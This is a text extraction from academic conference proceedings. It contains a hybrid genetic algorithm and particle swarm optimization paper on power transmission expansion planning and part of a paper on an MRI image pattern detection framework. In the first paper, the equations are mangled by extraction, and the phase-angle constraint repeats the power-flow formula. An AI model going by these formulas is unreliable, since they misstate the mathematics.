Conference on Privacy, Security and Trust (PST), pp. 53–61 (2005)
6. Altendrof, J.D.E., Brende, P., Lessard, L.: Fraud detection for online retail using random
forests Technical Report (2005)
7. Dittman, D., Khoshgoftaar, T., Wald,R., Napolitano, A.: Random forest: a reliable tool for
patient response prediction. Bioinformatics and Biomedicine Workshops IEEE International
Conference (2011)
8. Srivastava, A., Chakrabarti, S., Das, S., Ghosh, S., K. Jayaraman, V.: Proceedings of Seventh
International Conference on Bio-Inspired Computing: Theories and Applications (BIC-TA
2012) Advances in Intelligent Systems and Computing, vol. 201, pp. 485–494 (2013)
9. Boinee, P., Angelis, A. D., Foresti, G.L.: Ensembling classifiers—an application to image data
classification from cherenkov telescope experiment IEC (Prague), pp. 394–398 (2005)
10. Geng, W., Cosman, P., Berry, C., Feng, Z., Schafer, W.: Automatic tracking, feature extraction
and classification of C. elegans phenotypes. IEEE Trans. Biomed. Eng. (2004)
11. Diaz-Uriarte, R., Alvarez de Andres, S: Gene selection and classification of microarray data
using random forest BMC Bioinformatics, vol. 7, pp. 1–13 (2006)
12. Maragoudakis, M., Loukis, E., Pantelides, P.: Random forests identification of gas turbine
faults. In: 19th International Conference on Systems Engineering (2008)
13. Hu, H., Zahorian, S.: Dimensionality reduction methods for HMM phonetic recognition. In:
Acoustics Speech and Signal Processing, IEEE International Conference (2010)
14. Bostrom, H.: Estimating Class Probabilities in Random Forests. In: Sixth International
Conference on Machine Learning and Applications (2007)
15. Khoshgoftaar, T., Golawala, M., Hulse, J.: An empirical study of learning from imbalanced
data using random forest. In: 19th IEEE International Conference on Tools with Artificial
Intelligence (2007)
16. Lichman, M.: UCI MAchine Learning Repository, Irvine. University of California, School of
Information and Computer Science, CA (2003)
Hybrid GA and PSO Approach
for Transmission Expansion Planning
Shilpi Sisodia, Yogendra Kumar and Arun Kumar Wadhwani
Abstract Metaheuristic techniques are enormously being used nowadays for their
applications in field like Power system and are being applied to many optimization
problems of power system due to difficult approach of classical methods.
Transmission expansion planning (TEP) is a challenging task to deal in power
system. A new approach, hybrid genetic algorithm particle swarm optimization
(HGAPSO) for solving TEP problem, is introduced to eliminate the drawback of
GA and PSO. Problems of immature convergence in particle swarm optimization
(PSO) and low convergence speed in genetic algorithm (GA) mitigate to the
hybridization of both techniques. Proposed HGAPSO Algorithm is tested for three
standard electric test systems for TEP problem in MATLAB tool. Experimental
results found by HGAPSO are compared with GA and PSO Algorithm to test its
performance for TEP problem.
Keywords Metaheuristic GA HGAPSO PSO TEP
S. Sisodia (&)
Electrical Engineering Department, Rajiv Gandhi Proudyogiki
Vishwavidhalaya University, Bhopal, India
e-mail: sisodiashilpi@gmail.com
Y. Kumar
Department of Electrical Engineering, Maulana Azad National Institute of Technology,
Bhopal, India
e-mail: ykmact@yahoo.co.in
A.K. Wadhwani
Department of Electrical Engineering, Madhav Institute of Technology and Science,
Gwalior, India
e-mail: wadhwani_arun@rediffmail.com

312 S. Sisodia et al.
1 Introduction
Hybrid algorithms are the developing topic in research combining the character-
istics of two algorithms to alleviate their shortcoming. Hybridization of two tech-
nique results in a new algorithm containing their positive aspects. GA and PSO are
efficient in solving real and complex problems like TEP. The main advantage of GA
is its suitability for dealing with multiple objectives, but it lacks in convergence
speed, while the strength of the PSO algorithm on the other hand is its simple
coding and speedy convergence. The main shortcoming of the PSO algorithm is its
untimely convergence. For TEP, such an algorithm is required in which the
strengths of PSO and GA is retained and weakness of both is eliminated. By
hybridization of PSO and GA, HGAPSO algorithm is presented in this paper. The
combination of two techniques implies to be a better approach.
Classical optimization techniques, such as linear programming [1, 2], bender
decomposition [3–5], and branch and bound methods [6, 7], are applied previously
to solve the Transmission network expansion problem (TNEP) problem. Simulated
annealing, tabu search, harmony search algorithm, and GA are metaheuristic
techniques which have been applied to solve the problem of transmission planning
[8–12]. TNEP is done using PSO in [13, 14]. Hybridized methods are quoted in
[15–17]. Hybrid neuro and fuzzy approach [18] for TEP have been introduced in
past decades.
The paper focuses on the HGAPSO technique to solve TEP problem. The paper
is splitted into five sections. In the next section, formulation of TEP problem has
been described. The subsequent section briefs GA, PSO, and HGAPSO algorithms
with their implementation to formulated TEP problem. In fourth section, discussion
on the simulation results obtained by the proposed HGAPSO algorithm and com-
parison of its results with the results obtained from GAs and PSO algorithms for the
test system. Section five will conclude the paper.
2 Mathematical Formulation
In this paper, static TEP problem is modeled as given in method [19] DC power
flow. The nature of TEP problem formulated is non-linear and mixed-integer type.
The objective function is formulated as follows:
X
min Cost ¼ cij kij ; ð1Þ
ij2a
where Cost represents transmission investment cost, cij is the cost of additional
branch circuits, and kij is additional branch ij. Here, it indicates set for all branches
considered as candidates for expansion of branches. Equation (1) is the objective
function representing newly equipped transmission lines at capital costs. For proper
Hybrid GA and PSO Approach for Transmission Expansion Planning 313
planning of transmission, there are some constraints which should be satisfied. The
mathematical formulation for these constraints is mentioned in equations from
(2) to (7).
2.1 Node Power Balance Constraint
This linear equality constraint is expressed as follows:
P ¼ Q þ Mh; ð2Þ
where P is the vector representing existing real power in the power plants, Q is the
vector for node load demand for all networks, and M is the matrix indicating
susceptance of the current and extra network lines. Here Q is the vector of phase
angle for bus voltage.
2.2 Transmission Line Constraint for Power Flow Limit
This inequality constraint is required to check the maximum power flow for each
path with limit and is formulated as follows:
lij ðn0ij þ nij Þlmax

ij : ð3Þ
Each element in constraint (3) for the formulated DC power can be calculated by
using (4):
ðn0ij þ nij Þ
lij ¼ ðhi hj Þ; ð4Þ
lij
ij , nij ;, and nij ; rij are overall power flow in the branch ij, power flow
where lij , lmax 0
which is maximum in the branch ij, Additional circuits of the ij branch, the original
base system circuit number, and reactance in the ij branch, respectively. Here, θi
and θj indicate the phase angle of voltage at ith and jth bus, respectively.
2.3 Constraint of Limit on Power Generation
There should be specified limit for generated power and is represented as follows:
Gimin Gi Gimax ; ð5Þ
where Gi is the real generated power at node i, Gimin and Gimax are the minimum
and maximum limit of real power generation at node i, respectively.
2.4 Constraint of Additional Lines to Be Added

in Transmission Lines
For satisfactory planning, it is required to know the specified location of the

additional line to be added. It is expressed by Eq. (6):
0 xij ijmax : ð6Þ
where xij and Xijmax represent the total circuits (lines) required to add to the branch ij
and maximum circuits required to add to branch ij, respectively.
2.5 Constraint of Phase Angle Limit for Bus Voltage
In this paper, voltage phase angle is included as a restriction and is expressed as

follows:
lij ðn0ij þ nij Þlmax

ij : ð7Þ
2.6 Mathematical Formulation for Fitness Function
The fitness function calculation for both the algorithms is stated below:
1
F¼ ð8Þ
Cost þ pf C
Xk
C¼ i¼1
Vi ; ð9Þ
where
k is number of constraints. Vi is violation of ith constraint in percentage. pf is the
penalty factor.
3 Overview of GA, PSO, and HGAPSO Algorithms
This section gives overview of GA, PSO, and HGAPSO algorithms and their
implementation to TEP problem.
3.1 Genetic Algorithm
GA accords to a class of Evolutionary Algorithms motivated by biological envi-

ronment [20]. This algorithm is applied successfully to solve power system opti-
mization problems and even to find application in every field. GA conceals the
search for a solution with genotypes which is called individuals for a given problem
followed by selection and mutation process so as to conserve analytical informa-
tion, and to maintain diversity and convergence in the search space. In this tech-
nique, there are three main role players and it is known by the operators of GA
namely reproduction, crossover, and mutation. Fitness of each is evaluated in each
generation. The better fitness responds to a good solution. GA technique prospects
in updating the population from its initial stage to final stage. Initial stage is fol-
lowed by the selection operator to form a population between initial and final. Then
next population is generated by applying other two operators. This is how GA
works and does the search process. Crossover, also called as recombination, per-
forms exchange of information between individuals in the population. Mutation is
applied in GA to prevent the good genes in the population.
3.2 Implementation of GA to TEP Problem
The implementation of GA Algorithm to solve formulated TEP problem is as

follows:
1. Specify input parameters with all constraints to generate chromosomes or
genotypes. Define the parameters like Problem dimension, Maximum genera-
tions, crossover rate, and mutation rate.
2. Initialize population randomly satisfying all constraints and evaluate this pop-
ulation accordingly with the objective function. This string is the set of lines to
be added for expansion of transmission.
3. Assign fitness value to the entire population corresponding to the objective
function using Eqs. (8) and (9).
4. Selection of individuals for breeding process. Selected operator in this analysis
used is tournament selection.
5. Do the recombination and mutation process for selected individuals.
6. Evaluation of final population fitness consisting of chromosomes of best
solutions.
7. Check generation count, if it reaches its defined maximum value, then switch to
step 8, else back to step 3.
8. Stop. The best solution in final population is transmission expansion plan with
minimum investment cost.
3.3 Particle Swarm Optimization
PSO amalgamates the communal behavior and is naturally inspired technique. For
details of PSO, reference [21] can be referred. PSO can be applied in a simple way
exploring the larger search space which is easily applicable for non-linear,
non-convex, and non-differentiable optimization problems. The speedy conver-
gence is an important advantage of PSO. In PSO, searching is carried out by particle
(individual) population. Population is also called swarm in PSO. Each particle
knows its best position as well as swarm best position. Optimization process for
PSO is carried out by updating each particle position with the group position,
simultaneously updating the velocity of each particle. This can be done using
simple Eqs. (10) and (11) given below. This is the principle behind PSO to achieve
good solution with social adapting principle.
The computation of velocities and position is as follows:
Vikþ1 ¼ w Vik þ z1 rand1 ðPbesti hik Þ þ z2 rand2 ðGbest hik Þ: ð10Þ
hiKþ1 ¼ hiK þ ViKþ1 ; ð11Þ
where Vikþ1 is the velocity of (k + 1)th iteration of ith individual, ViK is the velocity
of kth iteration of ith individual, w is the inertial weight, Z1 ; Z2 are the positive
constants, having values [0, 2], rand1 , rand2 are the random numbers which is in
between 0 and 1, Pbesti is the ith individual best position, Gbesti is the best position
among the individual (group best) and hik is the position of ith individual at kth
iteration.
Each agent velocity is updated by (10) and the position is updated with the help
of (11). Weighting factor w for faster convergence is updated by the expression
given in (12):
wmax wmin
w ¼ wmax iter, ð12Þ
itermax
where wmax is the initial weight, wmin is the final weight, iter is current iteration
number, and itermax denotes maximum iteration number.
3.4 Implementation of PSO to TEP Problem
This section describes application of PSO algorithm to solve static TEP problem as
follows:
1. Input required parameters for calculation of objective function & constraints
and swarm.
2. Initialize the position (Line to be added) for all particles randomly with satis-
fying all the constraints.
3. Evaluate the fitness (F) of each particle using Eqs. (8) and (9).
4. Compare F found in step 3 with Pbest of each particle. Update Pbest of a particle
if its fitness is greater than its Pbest.
5. Replace old Gbest by new Gbest only in case any particle is better than current
Gbest based on fitness.
6. Using (12), change inertia weight ‘w.’
7. Change the velocity of each particle using (10).
8. Change particle position using (11) with the velocity calculated in step 7.
9. Check iteration counter, if it reaches to maximum switch to step 10, else move
to step 3.
10. Swarm generating final Gbest in step 5 is the optimal value.
3.5 Hybrid GAPSO
The drawback of PSO lies in the fact that it has untimely convergence and problem
of optima trapping. In addition, PSO performance is problem dependent. GA
weakness is that it has so many operators to deal with and takes large computational
time as compared to PSO. To overcome the limitations of both algorithms and
combining their advantageous features, it leads to hybrid form of two algorithms
known as HGAPSO algorithm. It is proposed by Kao and Zahara [22]. HGAPSO
combines all advantages of GA and PSO in terms of speedy convergence and
computational time. This technique results in high diversity and optimum conver-
gence for TNEP problem. This paper emphasis on the HGAPSO approach [23] to
solve TNEP problem in which the Pbest, i.e., particles best known position changes
their positions by third operator of GA, which is mutation. In this type of approach,
all the initial steps of TEP problem implementation discussed above will be fol-
lowed by GA and after that results obtained from mutation operator of GA will be
applied to the Pbest particles of PSO to update their position. Data is shared between
two algorithms. Final result will be followed by the implementation steps of PSO
discussed above starting from step 4 and ending with step 10. This hybrid approach
has the advantage that good solution will be preserved by GA initially and problem
of local optima trapping and low population diversity in PSO will be eliminated by
this approach. At the same time, computational time will be reduced due to PSO,
because final result is achieved by PSO.
4 Results and Discussion
Static TEP problem is tested on three electric systems 1. Garver’s 6-bus test system,
2. IEEE 14-bus test system, and 3. IEEE 24-bus test system by applying HGAPSO.
The programming is developed in environment of Matlab software version 7.9. All
the necessary data of the test systems can be found in [24]. For validation of the
proposed methods, the comparison of the results found using GA, PSO, and
HGAPSO algorithm is made. For each algorithm, the best results are found after 70
iterations for all three test systems. Penalty factor in first two test systems is taken as
2. In Figs. 1, 2 and 3, characteristics of cost convergence of HGAPSO approach for
three test systems are shown for all three electric systems taken for testing. For
Garver’s 6-bus test system and IEEE 14-bus test system, GA population size and
swarm size are same i.e., 50 and 100, respectively, problem dimension is 8.
Mutation rate and crossover rate in GA are 0.1 and 0.8, respectively. Parameters of
PSO such as Z1 and Z2 are 2, wmin and are taken as 0.4 and 0.9 for both
above-mentioned systems. For IEEE 24-bus test system, GA population size and
swarm size is 100, problem dimension is 20 and all other parameters are same as
Fig. 1 Cost convergence 400

characteristic of HGAPSO for
Garver’s 6-bus test system 350
Objective function
300
250
200
150
0 10 20 30 40 50 60 70
No. of iteration
Fig. 2 Cost convergence 2400

characteristic of HGAPSO for 2350
IEEE 14-bus test system 2300
Objective function
2250
2200
2150
2100
2050
2000
1950
1900
0 10 20 30 40 50 60 70
No. of iteration
Fig. 3 Cost convergence Optimal objective Calculation

characteristic of HGAPSO for 1300
IEEE 24-bus test system 1200
Objective function
1100
1000
900
800
700
600
500
0 10 20 30 40 50 60 70
No. of iteration
Fig. 4 Comparison of cost

convergence characteristics of
GA, PSO, and HGAPSO for
IEEE 14-bus test system
Fig. 5 Comparison of cost

convergence characteristics
GA, PSO, and HGAPSO for
IEEE 24-bus test system
that of other two test systems. Penalty factor for this test system is taken as 0.7.
Maximum number of iterations in each case is 70. The comparison of character-
istics of cost convergence of GA, PSO, and HGAPSO for IEEE 14-bus and IEEE
24-Bus test systems is shown in Figs. 4 and 5. HGAPSO gives good convergence
320
Table 1 Comparison of GA, PSO, and HGAPSO for three test systems
Optimization Running time in second Optimal investment cost (in US $) Additional lines requirement
techniques Garver’s IEEE IEEE Garver’s IEEE IEEE Garver’s IEEE IEEE
6-bus 14-bus 24-bus 6-bus 14-bus 24-bus 6-bus 14-bus 24-bus
GA 4.778 7.828 13.975 200 680 168 7 21 7
PSO 1.733 4.882 7.732 200 800 100 7 27 6
HGAPSO 1.721 4.762 7.484 200 670 98 7 20 5
S. Sisodia et al.
characteristic than GA and PSO. Table 1 gives the comparison of GA, PSO, and
HGAPSO for the three test systems in terms of running time (second), optimal
investment cost (in US $), and additional lines requirement.
5 Conclusion
PSO is a dynamic search technique applicable to a variety of problems. The

strength of PSO can be upgraded to many folds with its parameter setting and
applied modifications. This paper emphasizes on the concept of hybridization,
which in the present scenario is a famous stream to work in and it has been
successfully applied to heuristic algorithms. In this paper, a brief description of the
algorithms which are to be hybridized is given. HGAPSO Algorithm finds a better
solution than GA and PSO. This is due to fact that GA maintains diversity with its
mutation operator for the particle position even if the solution is worse. HGAPSO is
proved to be simple and a flexible approach. Comparing HGAPSO with PSO, it is
fast in giving best solutions in less computational time, since untimely convergence
problem is eliminated in it leading to better exploration of the search process than
PSO. Based on results found by simulation, it is concluded that HGAPSO algorithm
has less computational time and optimal convergence characteristic, and global
optimum cost for TEP problem as compared to GA and PSO.
References
1. Samarakoon, H.M.D.R.H., Shrestha, R.M., Fujiwara, O.: A mixed integer linear programming
model for transmission expansion planning with generation location selection. Int. J. Elect.
Power Energy Syst. 23, 285–293 (2001)
2. Alguacil, N., Motto, A.L., Conejo, A.J.: Transmission expansion planning: a mixed-integer LP
approach. IEEE Trans. Power Syst. 18, 1070–1077 (2003)
3. Romero, R., Monticelli, A.: A hierarchical decomposition approach for transmission network
expansion planning. IEEE Trans. Power Syst. 9, 373–380 (1994)
4. Romero, R., Monticelli, A.: A zero-one implicit enumeration method for optimizing
investments in transmission expansion planning. IEEE Trans. Power Syst. 9, 1385–1391
(1994)
5. Binato, S., Pereira, M.V.F., Granville, S.: A new Benders decomposition approach to solve
power transmission network design problems. IEEE Trans. Power Syst. 16, 235–240 (2001)
6. Haffner, S., Monticelli, A., Garcia, A., Romero, R.: Specialised branch and bound algorithm
for transmission network expansion planning. IEE Proc. Gen. Trans. Distrib. 148, 482–488
(2001)
7. Rider, M.J., Garcia, A.V., Romero, R.: Transmission system expansion planning by a branch
and bound algorithm. IET Proc. Gen. Trans. Distrib. 2, 90–99 (2008)
8. Romero, R., Gallego, R.A., Monticelli, A.: Transmission system expansion planning by
simulated annealing. IEEE Trans. Power Syst. 11, 364–369 (1996)
9. Gallego, R.A., Romero, R., Monticelli, A.J.: Tabu search algorithm for network synthesis.
IEEE Trans. Power Syst. 15, 490–495 (2000)
10. Gallego, R.A., Monticelli, A.J., Romero, R.: Transmission systems expansion planning by an
extended genetic algorithms. IEE Proc. Gen. Trans. Distrib. 14, 329–335 (1998)
11. Verma, A., Panigrahi, B.K., Bijwe, P.R.: Harmony search algorithm for transmission network
expansion planning. IET Gen. Trans. Distrib. 4, 663–673 (2010)
12. Gallego, L.A., Rider, M.J., Romero, R., Garcia, A.V.: A specialized genetic algorithm to solve
the short term transmission network expansion planning. Proceedings IEEE Conference on
Power Technology, pp. 1—7. IEEE, Romania (2009)
13. Shayeghi, H., Mahdavi, M., Bagheri, A.: Discrete PSO algorithm based optimization of
transmission lines loading in TNEP problem. Energy Convers. Manag. 51, 112–121 (2010)
14. Shayeghi, H., Mahdavi, M., Bagheri, A.: An improved DPSO with mutation based on
similarity algorithm for optimization of transmission lines loading. Energy Convers. Manag.
51, 2715–2723 (2010)
15. Esmin, A.A.A., Lambert-Torres, G., Alvarenga, G.B.: Hybrid evolutionary algorithm based on
PSO and GA mutation. Proceedings of the 6th International Conference on Hybrid Intelligent
Systems, IEEE Computer Society, Washington, DC, USA (2006)
16. Kao, Y.T., Zahara, E.: A hybrid genetic algorithm and particle swarm optimization for
multimodal functions. Int. Appl. Soft Comput. Elsevier 8, 849–857 (2008)
17. Premalatha, K., Natarajan, A.M.: Hybrid PSO and GA for global maximization. Int. J. Open
Problems Comput. Math. 2, 597–608(2009)
18. Yoshimoto, K., Yasuda, K., Yokoyama Yuichi, R.: Transmission expansion planning using
neuro-computing hybridized with genetic algorithm. IEEE Trans. Power Syst. 95, 127–131
(1995)
19. Sum-Im, T., Taylor, G.A., Irving, M.R., Song, Y.H.: Differential evolution algorithm for static
and multistage transmission expansion planning. IET Gen. Trans. Distrib. 3, 365–384 (2009)
20. Goldberg, D.E.: Genetics algorithms in search, optimization and machine learning. Addison
Wesley, Reading, Mass, USA (1989)
21. Kennedy, J.: The particle swarm: social adaptation of knowledge. Proceedings IEEE
International Conference on Evolutionary Computation, pp. 303–308. IEEE, Indianapolis
(1997)
22. Kao, Y.T., Zahara, E.: A hybrid genetic algorithm and particle swarm optimization for
multimodal functions. Appl. Soft Comput. 8, 849–857 (2008)
23. Jeong, S., Hasegawa, S., Shimoyama, K., Obayashi, S.: Development and investigation of
efficient GA/PSO-hybrid algorithm applicable to real-world design optimization. IEEE
Congress Evol. Comput. 1, 950–957 (2005)
24. Romero, R., Monticelli, A., García, A., Haffner, S.: Test systems and mathematical models for
transmission network expansion planning. IEE Proc. Gen. Trans. Distrib. 149, 27–36 (2002)
Pattern Detection Framework
for MRI Images and Labeling
Volume of Interest (VoI)
Rupal Snehkunj, Richa Mehta and Aashish N. Jani
Abstract In the current scenario of Biomedical Research, the Magnetic Resonance

Imaging (MRI) images visual analytics processing applications are facing chal-
lenges of the use of different techniques under different frameworks supported by
different software tools. The establishment of different frameworks under different
software tools and migration of data from one framework to another as well as one
tool or environment to another poses critical difficulties and large time consump-
tion. To reduce this hassle, the need of common framework is identified and the
same is undertaken in this work. To address this issue, a framework MRI Image
Pattern Detection Framework (MIPDF) is proposed to take care for the reduction of
cited hassle and improved visual analytics to support medical professionals in their
act of detection and diagnosis of diseases by identifying regularity and irregularity
with improved visualization and analytics results.
Keywords Biomedical research MRI Visual analytics MIPDF
1 Introduction
Biomedical imaging has a very important component of visualization for bio-

medical images like MRI, fMRI, MRS, and CT scan. A good amount of work has
already been done to derive quantitative information extracted from such images.
R. Snehkunj (&)
Shree Ramkrishna Institute of Computer Education & Applied Sciences,
Surat, Gujarat, India
e-mail: rupal.snehkunj@gmail.com
R. Mehta A.N. Jani
S.K. Patel Institute of Management & Computer Studies, Gandhinagar
Gujarat, India
e-mail: triumphricha@gmail.com
A.N. Jani
e-mail: aashishjani@yahoo.com

324 R. Snehkunj et al.
The developments are taking place with improvements in these methods working in
the scale from cellular images to human organ images. The medical professional
needs valuable information extracted from such images that is expected to assist in
diagnosis and subsequent treatment of diseases in a much better way. The bio-
medical image data is acquired by scans. These scans provide a closer look at the
object of interest for medical professionals. These scans help medical professional
to have a deeper look at a human brain when MRI and CT scans are investigated.
In a normal image processing approach, Image dimensions are length and width
of digital image which are expressed in terms of pixels. Visualization of biomedical
images leads to the determination of quantitative information about properties of
anatomic tissues and their functions that relate to and are affected by disease.
Biomedical image detection is centered on the identification of particular portion of
any organ in the target section. Regularities depict the healthy function with no
abnormalities. The irregularities are generally due to some malfunctioning of the
organs. To determine the irregularity in brain MRI image data, such visualization
techniques are mainly based on marking Region of Interest (RoI) also cited as
Volume of Interest (VoI). The VoI is a selected subset of samples within a dataset
identified for intended purpose. The VoI is a form of annotation associated with
quantitative information. In brain image medical imaging, the marking of bound-
aries of a tumor in the image generates VoI. There are two general reasons to draw a
Region-of-Interest (RoI) on Bioimaging data: (i) to examine the morphological
properties of an anatomic structure, and (ii) to extract data for a specific structure
from a corresponding functional dataset. Morphologic properties include things
such as volume, length dimensions, and center-of-mass location, which can be
compared between several different image volumes.
2 Related Work
A comprehensive literature survey has been carried out reviewing peer reviewed
research papers in the areas of Biomedical Image Visualization and Analytics.
2.1 Medical Data Visualization, Prediction, and Analysis
Chung et al. [1] have contributed in the field of skin cancerous data by applying
mining algorithm. The work was extended for the prediction of cancer by proposing
a model based on three-tier architecture for diagnosis. Delen et al. [2] worked on the
methodology performing the prediction of breast cancer survivability making
comparative study analysis of three predictors—Artificial Neural Network (ANN),
Decision Tree, and Logistic Regression using large dataset with tenfold
cross-validation for performance comparison. The extension of their work is
specified to apply this methodology to other cancer detections and their prognostic
Pattern Detection Framework for MRI Images … 325
factors with a view to investigate the correlations, commonalities, and difference

Zhang et al. [3] considered in their research that is the challenging issue of visu-
alization of multidimensional and multimodal tomography imaging data. Raquel
et al. [4] have proposed in their research a improved storage logical structure of
medical image database along with its metadata for improved classification and
enhancement in analysis. The extension of their work indicated the practice of
image filters, object tracking, segmentation, classification, and other related tasks
for improved level of Image analytics. Mehta et al. [5] haves focused on Predictive
Analysis on datasets of diabetic patient to obtain variegated patterns for the analysis
and outcome supporting decision-making for diagnosis with more accuracy.
Riduwan et al. [6] worked on proposing methodology for examining 3D scan of
heart image data using hand finger gesture. The extension of their work indicated
the addition of more figure gesture to interact with volumetric biological data with
the objective to detect more number of patients. Ringiene et al. [7] took challenging
issue of dimensionality reduction using the exponential correlation function to
present for human visual decisions. Kargupta et al. [8] proposed agents called
PADMA for web-based interactive data visualization using distributed data mining.
The implementation PADMA was tested on post-mortem reports and laboratory test
data for Hepatitis C patients. Shahabi et al. [9] have performed comparative
research on feature selection methods for retrieval, accuracy, and performance
evaluation. The implementation resulted in fuzzy rough set method extracted better
image features with accuracy and in timely manner. Takabayashi et al. [10] have
focused on the challenging issue of dimensionality reduction to present visually for
human decision by using the exponential correlation function. The implementation
result was tested on six multidimensional datasets successfully. 33,477 rules for
type B and C differences were discovered.
2.2 Biomedical Image Visual Analytics Proposed

Architecture, Tool and Algorithms
Shannon et al. [11] have revealed in their study, the general purpose open source
software environment for large scale interaction called CYTOSCAPE used in
molecular network for visualization of attributes. The work has been supported
from protein complexes level to kinetic simulation tools level. Symemidis et al. [12]
have focused on the work of visualization clusters of genes provided by gene
expression over set of samples. Chen [13] has introduced the integrated user
interface model for data visualization renderers working on a large range of dataset
formats. The research focused on an easy plug in different formats of dataset or
different kinds of renderers to User Interface (UI) system and can explore the data
with the user abstracted about UI. Mareela et al. [14] emphasized their work on
medical image analytics by proposing new algorithm to search new patterns. The
algorithm was tested with real databases which depicted accurate results. Pettifier
et al. [15] have focused on challenging issue related to visualization of incompatible

data formats, large data sets, visualization from different resources limited real-time
performance and accuracy, etc. The issue has been taken care from semantically
rich visualization to visualization with annotation and manipulation, integrating the
functionality of remote resources. The implementation result revealed that utopia
provides a more effective means of achieving the same goal keeping scientific
problem in focus and reducing the number of technological distractions. Changchun
et al. [16] focused their work on young research multimedia data mining. The
authors proposed the framework for above to illustrate general process and usage.
The authors expect to further work with multimedia content-based intelligent data
retrieval. Sopan et al. [17] have revealed interactive map named Community Health
Map (CHM) which is a web application that enables the users to visualize health
data with multivariate and geospatial feature. The user can employ dynamic query
filters for visualization of income, poverty rate, qualification, and age constraints.
Yingcai Wu et al. [18] have proposed a framework for automatically resizing a
visualization to fit any display. The author wished to extend their framework for
space-filling visualization. Van Lieve et al. [19] have proposed a work called
blackboard architecture that allows visualization tools to be tightly integrated with
simulations. Carlos Ordonez et al. [20] have revealed in their research a new
algorithm to perform data mining with images. As a future work, the authors need
to analyze image with repeated geometric shapes. Chung Hong et al. [21] have
presented the framework to mine relationship between cancer diseases and potential
factors from clinical records and medical literature. The text/image processing
module converted medical notes into index terms then applied Support Vector
Machine (SVM) and other methods for relationship evaluation.
2.3 Biomedical Image Analysis Parameters
Yining et al. [22] have given a new method for color quantization and spatial
segmentation on color-texture regions in images. 2,500 Corel photo images were
processed without any parameter tuning on individual images, indicating the
robustness of the algorithm. Sun et al. [23] have focused on the issue of genome
sequences of several organisms which are needed to be integrated with various
types of annotations uniquely. To fulfill the above goal, the authors proposed a
robust framework for developing web-based application to present the gene regu-
latory annotations in visual form. The implementation work was tested on gigabyte
size of genome data. Teng et al. [24] presented a new concept of image decom-
position and multi-labeling. The concept was applied on 591 images from 23
classes. The proposed concept shows to be the best in annotation and label ranking.
The possible future works include the investigation of different visual representa-
tions in addition to the bag-of-word and applying the proposed approach to a larger
scale real world dataset like Flickr. Ganegedara et al. [25] have focused on the issue
that emphasized the difficulty to maintain sewer pipes by proposing method called
self-organizing map-based approach to isolate region of interest with defects. The

result for a real pipe narrowed down the search space from an initial 28,059 vectors
to 3725 vectors which is a reduction of 86.7 %. The proposed technique could be
further improved by incorporating current Flow Line Detection Techniques (FLDT)
to filter out Flow Line Image Partitions (FLIP). Yang et al. [26] have focused on a
new inductive algorithm for image labeling with data mining. The algorithm was
applied on various image datasets like NUS-WIDE, MSRA MM 2.0, and Kodak
images. Bao et al. [27] present the algorithm called HDIALR (hidden-concept
driven image annotation and label ranking) which focused on visually similar
consistent hidden-concepts space which was tested on three benched image datasets
with accuracy. Rota Bulo et al. [28] researchers have presented SLP, i.e., a novel
model that is applicable to image labeling problems. The experimental results were
provided on different datasets like snake toy example, KAIST Hanja2 dataset,
semantic segmentation on CamVid Dataset. The experiments demonstrate broad
applicability on Computer Vision (CV) tasks like imprinting and semantic labeling,
obtaining competitive results when compared to state-of-the-art labeling approa-
ches. Marks et al. [29] presented a methodology for affective labeling for images. It
was verified on the sample of 52 users of narrow age and 70 images as content item.
It uses metadata for labeling purpose. The author desire to improve the emotion
detection algorithms used for implicit affective labeling.
3 Problem Statement
The normal approaches for VoI, extraction of hidden information, and subsequent
Visual Analytics adopted by different researchers under different frameworks have
indicated the need of common framework and implementation of the stated
approaches. To satisfy this requirement, the undertaken work has evolved with
MIPDF which targeted to improved and enhanced extraction of valuable infor-
mation for effective and efficient diagnostic followed by the treatment for medical
professionals.
4 Proposed Work
The proposed work is targeted to improve and enhance the impact of visual ana-
lytics based on visualization framework. Fig. 1 reveals the research study which is
structured with a proposed novel integrated framework for MRI Image Visual
Analysis and is named as MIPDF.
Fig. 1 MRI image pattern detection framework (MIPDF)
5 Methodology
The proposed work is implemented on the basis of MRI pattern detection frame-
work in five phases performing task related to regularity and irregularity pattern
detection. The MIPDF has a pipeline of phases as Extraction, Transformation,
Progression, Visual Analytics, and Discernation inclusive of various implemented
methodologies as cleaning, enhancing, segmentation, and volume of interest
(VoI) under single framework. The current study had taken into consideration of
MRI image datasets containing several brain MRI images of normal and
tumor-infected patients.
Phase I: MRI Image Extraction (MIE): The MRI image dataset of Human Brain
is extracted based on various parameters like gray and white matters; normal and
diseased are acquired from Web Repositories and Clinical Laboratory from the MRI
Diagnostic Centre with the consent of Radiologist. Phase II: MRI Image
Transformation (MIT): In the MIT phase, two-step Cleaning Methodology
(CM) like Inhomogeneity Correction and Noise Reduction of MRI Image is applied
for reducing such artifacts to improve the alignment and segmentation of the fol-
lowing Enhancing Methodology of Phase 3. Phase III: MRI Image Progression
(MIP): It is often desirable to remove unwanted structures from MRI brain images
as a preliminary step prior to volumetric analyses. In the MIP phase, two-step
Enhancing Methodology (EM) of MRI Image is applied for refining the MRI
images and to improve the Volume of Interest Analysis of the following VoI
Methodology of Phase
Phase IV: MRI Image Visual Analytics (MIVA): The Cleaned and Enhanced
Brain MRI images are studied and analyzed profoundly in Phase 4 by applying
Volume of Interest Methodology (VoIM) for the accurate Medical Report,
Diagnosis and Treatment Phase V: MRI Image Discernation (MID): The Brain MRI
Image dataset after passing through the above four phases finally generates the
rendered variegated visual patterns. The Rendered Images display the marked,
labeled, and measured Volume of Interest that can be availed by the Medical
Professionals and Radiologist for the Regularities and Irregularities Pattern
Detection of Normal and diseased Patient, so that accurate and precise diagnoses
further confirm the line of treatment of the patient.
6 Results and Analysis
The implementation of MIPDF was carried out based on the methodology guided
by the proposed framework. The outcomes are the visual patterns at various phases.
The datasets contain the gray/white matter coronal MRI images, tumor and
non-tumor axial and sagittal MRI images taken from primary source—General
Civil Hospital, Brain/Neurosurgery Department, Surat, Gujarat, India as well as
Secondary Resources—Web Repositories. The implementation results represent
some datasets and its different phase visual patterns (Table 1).
Table 1 MIPDF results
7 Conclusion
The result analysis revealed that the combination of gray/white matter images in
Coronal View for which lateral, Ventricle, Cerebrum gray matter region was
highlighted and rendered. VoI-derived statistical result in terms of the size/value of
white and gray matter was found. Further, the result of the framework helps the
radiologist to conclude that 4th dataset contains patient with 1440 mm area size
tumor in the brain. These results empowered Radiologist and Researcher to detect
any infected disease with higher accuracy. The same framework and its imple-
mentation can be extended for detection and diagnosis for other diseases also by
RoI markings and VoI measurements. The analysis leads to improved identification
